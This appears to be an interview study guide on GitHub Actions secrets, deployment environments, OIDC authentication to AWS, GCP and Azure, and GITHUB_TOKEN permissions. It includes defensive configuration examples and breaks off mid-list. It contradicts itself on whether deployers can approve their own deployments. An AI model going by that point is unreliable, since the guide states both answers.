GitHub Actions — Category 4: Secrets, Environments & Security

Complete Interview Deep-Dive for SRE / Platform / DevOps Engineers

> **Prerequisites:** Categories 1–3 assumed. Jenkins credential management experience assumed. **Format per topic:** What → Why → How Internally → Key Concepts → Interview Answers (30s + Deep Dive) → Full YAML → Gotchas ⚠ → Connections

---

Table of Contents

- 4.1 Secrets — Repo, Org, Environment-Level; How They're Injected
- 4.2 GitHub Environments — Deployment Protection Rules, Required Reviewers
- 4.3 OIDC-Based Keyless Authentication with AWS, GCP, Azure
- 4.4 Token Permissions — GITHUB_TOKEN, Scopes, Least Privilege
- 4.5 Security Hardening — Pinning, Secret Scanning, pull_request_target
- 4.6 Third-Party Secret Managers — Vault, AWS Secrets Manager
- Cross-Topic Interview Questions
- Quick Reference Cheat Sheet

4.1 Secrets — Repo, Org, Environment-Level; How They're Injected

---

What It Is

GitHub Actions secrets are encrypted key-value pairs stored at three scopes — repository, organization, and environment — that are injected into workflow runs as masked environment variables. They are the primary mechanism for passing sensitive values (API keys, passwords, tokens, certificates) into pipelines without hardcoding them in YAML.

Jenkins equivalent: Jenkins Credentials Store — `withCredentials([string(credentialsId: 'MY_KEY', variable: 'MY_KEY')])`. GitHub Actions secrets have a cleaner injection model: no explicit unwrapping call needed, secrets are injected directly into the environment.

Why It Exists

Problem: Sensitive values must reach pipeline steps without:

- Being visible in YAML committed to source control
- Being visible in workflow run logs
- Being accessible to unauthorized users or repos
- Requiring per-repo manual setup for shared credentials

Where Jenkins falls short:

- Jenkins credentials are stored on the Jenkins master — a compromise of the master exposes all credentials
- Sharing credentials across pipelines requires either duplicate configuration or global credentials (blast radius issue)
- No native scope model (repo vs org vs environment)
- Credential rotation requires updating the Jenkins store manually

GitHub Actions secrets are encrypted at rest using libsodium sealed boxes with repo/org public keys. GitHub never exposes the plaintext value after initial storage — not even in the UI.

How Secrets Are Injected Internally

```
User stores secret in GitHub UI or API
        |
        v
GitHub encrypts with repo/org public key (libsodium)
        |
        v  (at workflow run time)

Runner receives job definition (encrypted secret reference, not plaintext)
        |
        v
GitHub Actions service decrypts secret server-side
        |
        v
Plaintext value sent to runner over HTTPS (TLS 1.2+)
in the job credential payload
        |
        v
Runner sets environment variable: SECRET_NAME=<value>
        |
        v
Runner registers value with log masking system
(any occurrence of the value in logs replaced with ***)
        |
        v
Step executes with access to the secret via:
  ${{ secrets.SECRET_NAME }}   (expressions)
  $SECRET_NAME                  (shell, if mapped to env:)
```

Key security properties of this model:

- Secrets are never stored in plaintext anywhere GitHub can read them at rest
- Masking happens at the runner level — even if you `echo $SECRET`, it appears as `***`
- The runner process memory containing the secret is isolated to that job
- After the job completes, the runner environment is torn down (for hosted runners)

The Three Secret Scopes

Scope 1: Repository Secrets

Stored at the repository level. Available to any workflow in that specific repository.

```
# Set via GitHub CLI
gh secret set DATABASE_PASSWORD --body "s3cur3p@ss"
gh secret set DATABASE_PASSWORD < password.txt          # From file
gh secret set SSL_CERT --body "$(cat cert.pem)"

# List repo secrets (names only -- values never returned)
gh secret list

# Delete
gh secret delete DATABASE_PASSWORD

# Set via API (requires encrypting with repo public key first)
curl -X PUT \
  -H "Authorization: Bearer $GH_TOKEN" \
  -H "Accept: application/vnd.github.v3+json" \
  https://api.github.com/repos/my-org/my-repo/actions/secrets/MY_SECRET \
  -d '{
    "encrypted_value": "<libsodium encrypted value>",
    "key_id": "<repo public key id>"
  }'
```

Scope 2: Organization Secrets

Stored at the organization level. Can be shared across multiple repos in the org. The org admin controls which repos can access each org secret.

```
# Set org secret
gh secret set SHARED_SONAR_TOKEN \
  --org my-org \
  --body "sonar-token-value" \
  --visibility all              # all | private | selected

# Visibility options:
# all       -> accessible to all repos in the org
# private   -> accessible to all private repos
# selected  -> only repos you explicitly grant

# Grant selected repos access
gh secret set DEPLOY_TOKEN \
  --org my-org \
  --body "token" \
  --visibility selected \
  --repos "payment-api,user-service,inventory-service"

# List org secrets
gh secret list --org my-org
```

Scope 3: Environment Secrets

Stored scoped to a named GitHub Environment. Only accessible when a job targets that environment. This is the most secure scope for production credentials.

```
# Set environment secret
gh secret set PROD_DB_PASSWORD \
  --env production \
  --body "prod-password" \
  --repo my-org/my-repo

# List environment secrets
gh secret list --env production --repo my-org/my-repo
```

Secret Precedence and Scope Resolution

When multiple secrets with the same name exist at different scopes:

```
Precedence (highest to lowest):
1. Environment secret  (most specific -- wins if job targets that environment)
2. Repository secret
3. Organization secret (least specific)

Example:
  Org secret:    DATABASE_URL = postgres://prod.org-db.com
  Repo secret:   DATABASE_URL = postgres://dev.my-repo.com
  Env secret:    DATABASE_URL = postgres://prod.my-repo.com  (environment:
production)

Job targeting environment 'production' --> uses env secret value
Job NOT targeting an environment       --> uses repo secret value
```

Using Secrets in Workflows

```
name: Secrets Usage Examples

jobs:
  demo:
    runs-on: ubuntu-latest
    environment: staging    # Required to access environment secrets

    steps:
      # Method 1: Map to env var at step level (RECOMMENDED)
      - name: Database migration
        run: ./migrate.sh
        env:
          DB_HOST:     ${{ secrets.DB_HOST }}
          DB_PASSWORD: ${{ secrets.DB_PASSWORD }}
```

```
          DB_USER:     ${{ secrets.DB_USER }}

      # Method 2: Pass to action via with:
      - name: Configure AWS
        uses: aws-actions/configure-aws-credentials@v4
        with:
          aws-access-key-id:     ${{ secrets.AWS_ACCESS_KEY_ID }}
          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
          aws-region: us-east-1

      # Method 3: GITHUB_TOKEN -- always available, no setup required
      - name: Create release
        run: gh release create v1.0.0 --generate-notes
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

      # Method 4: Dynamic secret masking (runtime-generated sensitive values)
      - name: Generate and mask runtime secret
        run: |
          DYNAMIC_TOKEN=$(./generate-temp-token.sh)
          echo "::add-mask::${DYNAMIC_TOKEN}"   # Mask BEFORE any logging
          echo "token=${DYNAMIC_TOKEN}" >> $GITHUB_OUTPUT

  # Passing secrets to reusable workflows
  call-deploy:
    uses: my-org/platform/.github/workflows/deploy.yml@v3
    secrets:
      kubeconfig:     ${{ secrets.PROD_KUBECONFIG }}
      registry-token: ${{ secrets.GITHUB_TOKEN }}
    # OR:
    # secrets: inherit   (passes ALL caller secrets)
```

What Secrets Cannot Do

```
# CANNOT: Use secrets in if: conditions (always evaluates as empty string)
jobs:
  deploy:
    if: secrets.DEPLOY_ENABLED == 'true'    # NEVER works

# CANNOT: Pass secrets between jobs via outputs (value is masked/empty)
# CORRECT: Each job accesses secrets directly from the secrets context
jobs:
  job2:
    steps:
      - run: ./deploy.sh
        env:
          TOKEN: ${{ secrets.TOKEN }}   # Access directly -- do not relay via
outputs
```

Secret Rotation Pattern

```yaml
# .github/workflows/rotate-secrets.yml
name: Rotate API Keys

on:
  schedule:
    - cron: '0 0 1 * *'   # Monthly on the 1st
  workflow_dispatch:

permissions:
  contents: read

jobs:
  rotate:
    runs-on: ubuntu-latest
    steps:
      - name: Generate new API key from provider
        id: generate
        run: |
          NEW_KEY=$(curl -s -X POST \
            -H "Authorization: Bearer ${{ secrets.PROVIDER_ADMIN_TOKEN }}" \
            https://api.provider.com/keys/rotate | jq -r '.key')
          echo "::add-mask::${NEW_KEY}"
          echo "new-key=${NEW_KEY}" >> $GITHUB_OUTPUT

      - name: Update GitHub secret
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        run: |
          gh secret set PROVIDER_API_KEY \
            --body "${{ steps.generate.outputs.new-key }}" \
            --repo ${{ github.repository }}

      - name: Verify new key works
        run: |
          curl -f -s \
            -H "Authorization: Bearer ${{ steps.generate.outputs.new-key }}" \
            https://api.provider.com/verify
          echo "New key verified"
```

Interview Answer (30-45 seconds)

> "GitHub Actions secrets exist at three scopes: repository, organization, and environment. Repository secrets are available to any workflow in that repo. Org secrets can be shared across repos with configurable visibility. Environment secrets are the most secure — only accessible when a job explicitly targets that environment, so production credentials literally cannot reach non-production jobs. Secrets are encrypted client-side with libsodium before storage, decrypted server-side at runtime, and the runner automatically masks any occurrence of the value in logs. The key difference from Jenkins credentials: you don't need to explicitly unwrap them — they're available via the `secrets` context and injected as environment variables when you map them with `env:`."

Gotchas

- **Masking only works after the runner registers the value.** GitHub pre-masks declared secrets before any steps run, but dynamically generated sensitive values need manual `::add-mask::` calls before any possible logging.
- **Secrets are masked by value, not by name.** If your secret value `abc123` appears in an unrelated log line, it gets masked there too.
- **Secrets are NOT available in workflows triggered by `pull_request` from forks.** Fork PRs get empty strings for all secrets — intentional security measure.
- **The 100-secret limit per repo, 1000 per org.** Plan naming conventions: `PROD_DB_PASSWORD`, `STAGING_DB_PASSWORD`.
- **Secrets cannot exceed 48 KB.** For large values like kubeconfigs, base64-encode them (though this reduces effective size limit further).
- **`secrets.GITHUB_TOKEN` is NOT stored as a secret.** It is auto-generated per run. You cannot set it manually.

4.2 GitHub Environments — Deployment Protection Rules, Required Reviewers

---

What It Is

GitHub Environments are named deployment targets (e.g., `staging`, `production`) that carry three capabilities: scoped secrets, configurable protection rules that gate job execution before a runner is provisioned, and a deployment history audit trail.

Jenkins equivalent: There is no direct equivalent. The closest is Jenkins `input()` step combined with scoped credentials — but these are separate, manually wired concerns. GitHub Environments bake approval gates, scoped secrets, and deployment history into one cohesive feature.

Why Environments Exist

Without environments:

- Deployment approval requires external tooling (Jira tickets, Slack bots)
- Production credentials live alongside staging credentials — a misconfigured `if:` can accidentally deploy to prod
- No audit trail of who approved what deployment when
- No enforcement of "only main branch deploys to production" at the platform level

---

How Environment Protection Works Internally

```
Workflow job with environment: production
        |
        v
GitHub checks protection rules BEFORE provisioning any runner
```

```
          |
          |-- Required reviewers?
          |     YES -> Creates a pending deployment
          |          -> Notifies reviewers via email/GitHub UI
          |          -> Blocks until reviewer approves/rejects
          |          -> TIMEOUT: 30 days (job auto-cancelled)
          |
          |-- Wait timer?
          |     YES -> Holds the job for N minutes after trigger
          |
          |-- Deployment branches/tags?
          |     CHECKED -> Rejects if calling ref doesn't match rule
          |
          `-- Custom protection rules (GitHub App)?
                CHECKED -> Calls external App webhook, waits for response

  Once ALL rules pass:
    -> Runner is provisioned
    -> Environment secrets injected
    -> Job executes
    -> Deployment record created (success / failure / in-progress)
```

Setting Up Environments via CLI

```
# Create environment with protection rules
gh api \
  --method PUT \
  /repos/my-org/my-repo/environments/production \
  -f wait_timer=5 \
  -F reviewers='[{"type":"User","id":12345},{"type":"Team","id":67890}]' \
  -f
deployment_branch_policy='{"protected_branches":false,"custom_branch_policies"
:true}'

# Add allowed branch pattern
gh api \
  --method POST \
  /repos/my-org/my-repo/environments/production/deployment-branch-policies \
  -f name='main' \
  -f type='branch'

# Set environment secret
gh secret set PROD_API_KEY \
  --env production \
  --repo my-org/my-repo \
  --body "production-key-value"
```

Protection Rules Reference

```
# wait_timer: 0-43200 minutes (0-30 days)
# Use case: canary observation window before full rollout

# required_reviewers: up to 6 users or teams
# At least 1 must approve; the actor who triggered CAN approve their own
# (configurable -- can be restricted so self-approval is blocked)

# deployment_branch_policy:
#   protected_branches: true   -> only branches with branch protection can
deploy
#   custom_branch_policies: true -> specify explicit branch/tag patterns

# custom_protection_rules (GitHub Apps):
#   A registered App receives a webhook when deployment is pending
#   App evaluates external criteria (ITSM ticket, on-call check, etc.)
#   App calls back to approve or reject
```

Full Production Deployment Pipeline with Environments

```yaml
# .github/workflows/deploy-pipeline.yml
name: Production Deployment Pipeline

on:
  push:
    branches: [main]

permissions:
  id-token:    write
  contents:    read
  deployments: write

jobs:

  build:
    runs-on: ubuntu-latest
    outputs:
      image-tag: ${{ steps.tag.outputs.value }}
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  #
v4.2.2
      - id: tag
        run: |
          docker build -t myapp:${{ github.sha }} .
          echo "value=${{ github.sha }}" >> $GITHUB_OUTPUT

  deploy-staging:
    needs: build
    runs-on: ubuntu-latest
    environment:
      name: staging
      url: https://staging.myapp.com    # "View deployment" link in GitHub UI
    steps:
```

```
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - uses: aws-actions/configure-aws-
credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502  # v4
        with:
          role-to-assume: ${{ secrets.STAGING_DEPLOY_ROLE_ARN }}   # Staging
env secret
          aws-region: us-east-1
      - run: ./deploy.sh staging ${{ needs.build.outputs.image-tag }}

  smoke-tests:
    needs: deploy-staging
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - run: |
          npm install -g newman
          newman run tests/smoke/collection.json \
            --env-var base_url=https://staging.myapp.com

  # This job PAUSES here -- GitHub notifies production reviewers
  # Job only starts executing on runner AFTER a reviewer approves in GitHub UI
  deploy-production:
    needs: [build, smoke-tests]
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://myapp.com
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - uses: aws-actions/configure-aws-
credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
        with:
          role-to-assume: ${{ secrets.PROD_DEPLOY_ROLE_ARN }}   # PROD env
secret -- different value!
          aws-region: us-east-1
      - run: ./deploy.sh production ${{ needs.build.outputs.image-tag }}

  verify-production:
    needs: deploy-production
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - name: Health check with retry
        run: |
          for i in {1..5}; do
            STATUS=$(curl -s -o /dev/null -w "%{http_code}"
https://myapp.com/health)
            [ "$STATUS" = "200" ] && echo "Health check passed" && exit 0
            echo "Attempt $i: HTTP $STATUS -- retrying..."
            sleep 30
          done
          echo "::error::Production health check failed"
          exit 1
```

Interview Answer (30-45 seconds)

> "GitHub Environments are named deployment targets with protection rules, scoped secrets, and deployment history. The critical behavior: protection rules run BEFORE GitHub provisions a runner — the job doesn't start executing until all rules pass. Required reviewers pause the workflow and notify specific users or teams who approve or reject in the GitHub UI. Branch restrictions enforce that only specific refs can deploy — a feature branch literally cannot reach production if the rule isn't met. Environment secrets are scoped so production credentials only exist in the production environment scope — a staging job cannot access them. This is the GitHub-native answer to 'how do you implement a deployment approval gate.'"

Gotchas

- **Protection rules require GitHub Team or Enterprise plan** (or Pro for public repos). Free plan gets environments without protection rules.
- **`environment:` is a string (name) OR an object with `name:` and optional `url:`.** Both forms work:

  ```
  environment: production          # string form
  environment:
    name: production               # object form
    url: https://app.com           # optional deployment URL
  ```

- **A required reviewer cannot approve their own deployment by default.** The person who pushed needs someone else to approve.
- **Pending environment approval jobs count against your concurrent job limit.** On GitHub Free this can block other jobs.
- **Environment protection rules DO NOT fire at the caller level in reusable workflows.** The reusable workflow's job must declare `environment:` — that's where the approval fires. This is by design and how platform teams enforce approval gates centrally.
- **Deleting an environment permanently deletes all its secrets and protection rules.** No soft-delete or recovery.

4.3 OIDC-Based Keyless Authentication with AWS, GCP, Azure

What It Is

OpenID Connect (OIDC) allows GitHub Actions to authenticate to cloud providers without storing any long-lived credentials as GitHub secrets. GitHub acts as a trusted Identity Provider (IdP) and issues short-lived signed JWT tokens that cloud providers validate directly.

This is the most important security topic in GitHub Actions and is tested in virtually every senior interview at cloud-native companies.

Jenkins equivalent: There is no native equivalent. Jenkins stores AWS access keys in its Credentials Store (long-lived, high risk), or uses HashiCorp Vault with AppRole (requires additional Vault infrastructure). OIDC is GitHub Actions-native.

Why OIDC Matters

```
WITHOUT OIDC (traditional approach):
  Create IAM user "github-ci-deployer"
  Generate access key + secret key
  Store in GitHub Secrets
  Problems:
  - Keys don't expire -- if leaked, attacker has permanent access
  - Keys must be manually rotated (rarely done in practice)
  - GitHub compromise = cloud compromise
  - Keys work from ANY network, ANY workflow, ANY actor
  - 40 repos x 3 environments = 120+ key pairs to manage

WITH OIDC:
  - No credentials stored anywhere
  - Tokens expire in 15-60 minutes automatically
  - Trust is conditional on JWT claims (repo, branch, environment)
  - A leaked token is useless after expiry
  - Cloud provider logs tie API calls to exact GitHub run_id and actor
  - Revoke access: remove the OIDC trust relationship -- no key hunting
```

How OIDC Works -- The Full Protocol Flow

```
GitHub OIDC Provider: https://token.actions.githubusercontent.com
JWKS endpoint: /.well-known/jwks (public keys for JWT validation)

Step 1: Workflow step uses: aws-actions/configure-aws-credentials
Step 2: Action requests OIDC token from ACTIONS_ID_TOKEN_REQUEST_URL
        using ACTIONS_ID_TOKEN_REQUEST_TOKEN runner credential
Step 3: GitHub OIDC service returns signed JWT (15 min TTL)
Step 4: Action calls AWS STS AssumeRoleWithWebIdentity
        presenting the JWT as WebIdentityToken
Step 5: AWS downloads GitHub's JWKS public keys
Step 6: AWS validates JWT signature against JWKS
Step 7: AWS checks JWT claims against IAM role trust policy conditions
Step 8: If valid -> returns temporary credentials (15min-1hr):
        AccessKeyId + SecretAccessKey + SessionToken
```

The JWT Payload -- All Claims Available

```
{
  "iss": "https://token.actions.githubusercontent.com",
```

```
  "aud": "sts.amazonaws.com",
  "sub": "repo:my-org/my-repo:environment:production",
  "ref": "refs/heads/main",
  "sha": "abc123def456...",
  "repository": "my-org/my-repo",
  "repository_owner": "my-org",
  "repository_owner_id": "12345678",
  "actor": "jane-dev",
  "actor_id": "87654321",
  "workflow": "Deploy Pipeline",
  "workflow_ref": "my-org/my-
repo/.github/workflows/deploy.yml@refs/heads/main",
  "job_workflow_ref": "my-org/platform-workflows/.github/workflows/reusable-
deploy.yml@refs/tags/v3",
  "event_name": "push",
  "environment": "production",
  "run_id": "12345678",
  "run_number": "42",
  "runner_environment": "github-hosted",
  "repository_visibility": "private"
}
```

Most important claims for trust policy conditions:

Claim	Example Value	Restricts To
`sub`	`repo:org/repo:environment:prod`	Specific repo + environment
`sub`	`repo:org/repo:ref:refs/heads/main`	Specific repo + branch
`repository`	`my-org/my-repo`	Specific repo
`repository_owner`	`my-org`	Any repo in org
`environment`	`production`	Specific environment
`job_workflow_ref`	`org/platform/.github/workflows/deploy.yml@refs/tags/v3`	Specific reusable workflow version

`job_workflow_ref` **is the most powerful for platform teams** -- you can restrict cloud roles to only be assumable by a specific version of your reusable workflow, not by arbitrary custom workflows.

OIDC with AWS -- Complete Terraform Setup

```
# oidc-github.tf

# 1. Create GitHub OIDC Provider (ONCE per AWS account)
data "tls_certificate" "github_oidc" {
  url = "https://token.actions.githubusercontent.com/.well-known/openid-
configuration"
}

resource "aws_iam_openid_connect_provider" "github_actions" {
  url             = "https://token.actions.githubusercontent.com"
  client_id_list  = ["sts.amazonaws.com"]
  thumbprint_list =
[data.tls_certificate.github_oidc.certificates[0].sha1_fingerprint]
  tags = { Name = "github-actions-oidc" }
}

# 2. IAM Role for production deploy (restrictive trust policy)
resource "aws_iam_role" "github_deploy" {
  name = "github-actions-deploy"
  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Effect = "Allow"
      Principal = {
        Federated = aws_iam_openid_connect_provider.github_actions.arn
      }
      Action = "sts:AssumeRoleWithWebIdentity"
      Condition = {
        StringEquals = {
          "token.actions.githubusercontent.com:aud" = "sts.amazonaws.com"
        }
        StringLike = {
          # Option A: restrict to specific repo + specific environments
          "token.actions.githubusercontent.com:sub" = [
            "repo:my-org/payment-api:environment:production",
            "repo:my-org/payment-api:environment:staging"
          ]
          # Option B (platform team pattern): restrict to specific reusable
workflow version
          # "token.actions.githubusercontent.com:job_workflow_ref" =
          #   "my-org/platform-
workflows/.github/workflows/deploy.yml@refs/tags/v*"
        }
      }
    }]
  })
}

# 3. Attach only required permissions (least privilege)
resource "aws_iam_role_policy" "github_deploy_policy" {
  name = "github-deploy-policy"
  role = aws_iam_role.github_deploy.id
  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
```

```
      {
        Sid    = "ECRPush"
        Effect = "Allow"
        Action = [
          "ecr:GetAuthorizationToken",
          "ecr:BatchCheckLayerAvailability",
          "ecr:InitiateLayerUpload",
          "ecr:UploadLayerPart",
          "ecr:CompleteLayerUpload",
          "ecr:PutImage"
        ]
        Resource = "*"
      },
      {
        Sid      = "EKSDescribe"
        Effect   = "Allow"
        Action   = ["eks:DescribeCluster"]
        Resource = "arn:aws:eks:us-east-1:${var.account_id}:cluster/prod-
cluster"
      }
    ]
  })
}

# 4. Read-only role for PR checks (any branch in the repo)
resource "aws_iam_role" "github_readonly" {
  name = "github-actions-readonly"
  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Effect = "Allow"
      Principal = { Federated =
aws_iam_openid_connect_provider.github_actions.arn }
      Action = "sts:AssumeRoleWithWebIdentity"
      Condition = {
        StringEquals = {
          "token.actions.githubusercontent.com:aud" = "sts.amazonaws.com"
        }
        StringLike = {
          # Any event from this repo -- for PR checks
          "token.actions.githubusercontent.com:sub" = "repo:my-org/payment-
api:*"
        }
      }
    }]
  })
}
```

OIDC with AWS -- GitHub Actions Workflow

```
name: Deploy with OIDC
```

```yaml
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

permissions:
  id-token: write    # REQUIRED -- without this OIDC token request fails
silently
  contents: read
  packages: write

jobs:
  # PR: use read-only role (any branch, no environment required)
  pr-checks:
    if: github.event_name == 'pull_request'
    runs-on: ubuntu-latest
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  #
v4.2.2
      - uses: aws-actions/configure-aws-
credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502  # v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-actions-
readonly
          aws-region: us-east-1
      - run: terraform plan -no-color

  # Main: full deploy with production role (requires environment claim)
  deploy:
    if: github.event_name == 'push'
    runs-on: ubuntu-latest
    environment: production    # This adds 'environment:production' to the JWT
sub claim
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

      - name: Configure AWS credentials via OIDC
        uses: aws-actions/configure-aws-
credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
          aws-region: us-east-1
          role-duration-seconds: 3600        # Reduce to minimum needed
          role-session-name: github-${{ github.run_id }}

      # All subsequent AWS CLI/SDK calls use the temporary credentials
injected
      # as AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN env
vars
```

```
      - name: Login to Amazon ECR
        id: ecr-login
        uses: aws-actions/amazon-ecr-
login@062b18b96a7aff071d4dc91bc00c4c1a7945b076  # v2

      - name: Push image to ECR
        uses: docker/build-push-
action@4f58ea79222b3b9dc2c8bbdd6debcef730109a75  # v6
        with:
          push: true
          tags: ${{ steps.ecr-login.outputs.registry }}/myapp:${{ github.sha
}}

      - name: Deploy to EKS
        run: |
          aws eks update-kubeconfig --name prod-cluster --region us-east-1
          kubectl set image deployment/myapp \
            app=${{ steps.ecr-login.outputs.registry }}/myapp:${{ github.sha
}} \
            --namespace production
```

OIDC with GCP -- Setup

```
# One-time GCP Workload Identity Federation setup
PROJECT_ID="my-gcp-project"
PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --
format='value(projectNumber)')
POOL_ID="github-actions-pool"
PROVIDER_ID="github-provider"
SA_EMAIL="github-deployer@${PROJECT_ID}.iam.gserviceaccount.com"

# Create Workload Identity Pool
gcloud iam workload-identity-pools create $POOL_ID \
  --project=$PROJECT_ID \
  --location=global \
  --display-name="GitHub Actions Pool"

# Create OIDC Provider in the pool
gcloud iam workload-identity-pools providers create-oidc $PROVIDER_ID \
  --project=$PROJECT_ID \
  --location=global \
  --workload-identity-pool=$POOL_ID \
  --issuer-uri="https://token.actions.githubusercontent.com" \
  --attribute-
mapping="google.subject=assertion.sub,attribute.repository=assertion.repositor
y,attribute.environment=assertion.environment" \
  --attribute-condition="assertion.repository == 'my-org/my-repo'"

# Create service account and grant permissions
gcloud iam service-accounts create github-deployer \
  --project=$PROJECT_ID \
  --display-name="GitHub Actions Deployer"
```

```
gcloud projects add-iam-policy-binding $PROJECT_ID \
  --member="serviceAccount:${SA_EMAIL}" \
  --role="roles/container.developer"

# Allow Workload Identity to impersonate the SA
gcloud iam service-accounts add-iam-policy-binding $SA_EMAIL \
  --project=$PROJECT_ID \
  --role="roles/iam.workloadIdentityUser" \
  --
member="principalSet://iam.googleapis.com/projects/${PROJECT_NUMBER}/locations
/global/workloadIdentityPools/${POOL_ID}/attribute.repository/my-org/my-repo"
```

```
# GCP OIDC workflow
jobs:
  deploy-gcp:
    runs-on: ubuntu-latest
    environment: production
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

      - uses: google-github-
actions/auth@71fee32a0bb7e97b4d33d548e7d957010649d8fa  # v2
        with:
          workload_identity_provider: >-
            projects/123456789/locations/global/workloadIdentityPools/github-
actions-pool/providers/github-provider
          service_account: github-deployer@my-gcp-
project.iam.gserviceaccount.com

      - uses: google-github-actions/setup-
gcloud@6189d56e4096ee891640a2f1a290d3d36a88b36  # v2

      - name: Deploy to Cloud Run
        run: |
          gcloud run deploy myapp \
            --image gcr.io/my-gcp-project/myapp:${{ github.sha }} \
            --platform managed \
            --region us-central1 \
            --no-allow-unauthenticated
```

OIDC with Azure -- Setup and Workflow

```
# Create federated credential on Azure AD App Registration
APP_ID=$(az ad app create --display-name "github-actions-deployer" --query
appId -o tsv)
OBJECT_ID=$(az ad app show --id $APP_ID --query id -o tsv)
```

```
az ad sp create --id $APP_ID

# Federated credential for production environment
az ad app federated-credential create \
  --id $OBJECT_ID \
  --parameters '{
    "name": "github-production",
    "issuer": "https://token.actions.githubusercontent.com",
    "subject": "repo:my-org/my-repo:environment:production",
    "description": "GitHub Actions production deploys",
    "audiences": ["api://AzureADTokenExchange"]
  }'

# Grant permissions
az role assignment create \
  --assignee $APP_ID \
  --role Contributor \
  --scope /subscriptions/$SUBSCRIPTION_ID/resourceGroups/my-rg
```

```
jobs:
  deploy-azure:
    runs-on: ubuntu-latest
    environment: production
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

      - uses: azure/login@a457da9ea143d694b1b9c7c869ebb04edd5a2efb  # v2
        with:
          client-id:       ${{ secrets.AZURE_CLIENT_ID }}
          tenant-id:       ${{ secrets.AZURE_TENANT_ID }}
          subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
          # NO client-secret -- OIDC eliminates the need for it

      - name: Deploy to AKS
        run: |
          az aks get-credentials --resource-group my-rg --name prod-aks
          kubectl apply -f k8s/
```

Interview Answer (30-45 seconds)

> "OIDC lets GitHub Actions authenticate to cloud providers without storing long-lived credentials. GitHub acts as an OIDC identity provider and issues a signed JWT for each job. The JWT contains claims about the workflow -- the repo, branch, environment, actor, and even which reusable workflow called it. You configure the cloud provider to trust GitHub's OIDC issuer and define conditions on those claims. The workflow requests the JWT at runtime, presents it to the cloud provider's STS, and gets back temporary credentials valid for 15 minutes to an hour. The non-negotiable requirement in your workflow: `permissions: id-token: write` -- without it the token request fails. The key security win: no

> credentials to rotate, tokens expire automatically, and the trust policy's claim conditions mean a feature branch token cannot assume a production role."

Gotchas

- `permissions: id-token: write` **is mandatory at workflow or job level.** Without it the OIDC request fails with an error. This is the single most common cause of OIDC setup failures.
- `sub` **claim format changes based on what triggered the workflow:**

  ```
  Push to branch:     repo:org/repo:ref:refs/heads/main
  Tagged release:     repo:org/repo:ref:refs/tags/v1.0.0
  PR event:           repo:org/repo:pull_request
  Environment deploy: repo:org/repo:environment:production
  ```

  A trust policy requiring `environment:production` rejects push-triggered jobs that don't target that environment. Design policies to match what your workflow actually produces.
- **Fork PRs cannot request OIDC tokens.** GitHub blocks `id-token: write` for fork PR workflows.
- **AWS OIDC thumbprint occasionally needs updating** when GitHub rotates its certificate. Using `data.tls_certificate` in Terraform dynamically is more resilient than hardcoding.
- **GCP requires ALL claims you condition on to appear in `attribute-mapping`** when creating the provider. If you condition on `attribute.environment` but didn't map it, the condition never matches.
- **Azure federated credentials have a 20-credential limit per app registration.** Large orgs with many environments may need multiple app registrations.

4.4 Token Permissions — GITHUB_TOKEN, Scopes, Least Privilege

---

What It Is

`GITHUB_TOKEN` is an automatically generated, short-lived token GitHub creates at the start of every workflow run. It allows workflows to interact with the GitHub API without storing a Personal Access Token. It's scoped to the current repository and expires when the job completes (or after 24 hours).

Jenkins equivalent: There's no native equivalent. Jenkins requires manually creating and storing a PAT in its Credentials Store for any GitHub API interaction.

How `GITHUB_TOKEN` Works Internally

```
Workflow run starts
        |
        v
GitHub creates GITHUB_TOKEN:
  - Short-lived (expires at job end or 24h max)
```

```
  - Scoped to the specific repository only
  - Permissions determined by:
      a) Org/repo default permissions setting
      b) workflow-level permissions: block
      c) job-level permissions: block (overrides workflow-level)
        |
        v
Available as:
  ${{ secrets.GITHUB_TOKEN }}   (expressions -- identical)
  ${{ github.token }}           (shorter, more explicit about auto-generation)
  $GITHUB_TOKEN env var         (if mapped via env:)
        |
        v
After job completes: token automatically revoked
```

Default Permission Modes

```
Mode 1: "Read and write" (permissive -- legacy default)
  GITHUB_TOKEN gets write access to contents, packages, etc.
  High blast radius if any step is compromised.

Mode 2: "Read repository contents and packages" (RECOMMENDED)
  GITHUB_TOKEN gets read-only access by default.
  Workflows must explicitly declare the write permissions they need.

Set org default:
  Org Settings -> Actions -> General -> Workflow permissions
  -> "Read repository contents and packages permissions"
```

All Available Permission Scopes

```yaml
permissions:
  # Content
  contents: read              # Read files, commits, branches, tags
  contents: write             # Push commits, create releases, upload assets

  # PRs
  pull-requests: read
  pull-requests: write        # Comment, merge, close PRs

  # Issues
  issues: read
  issues: write               # Comment, open, close, label

  # Packages
  packages: read
  packages: write             # Push to GHCR and other registries

  # Security
```

```
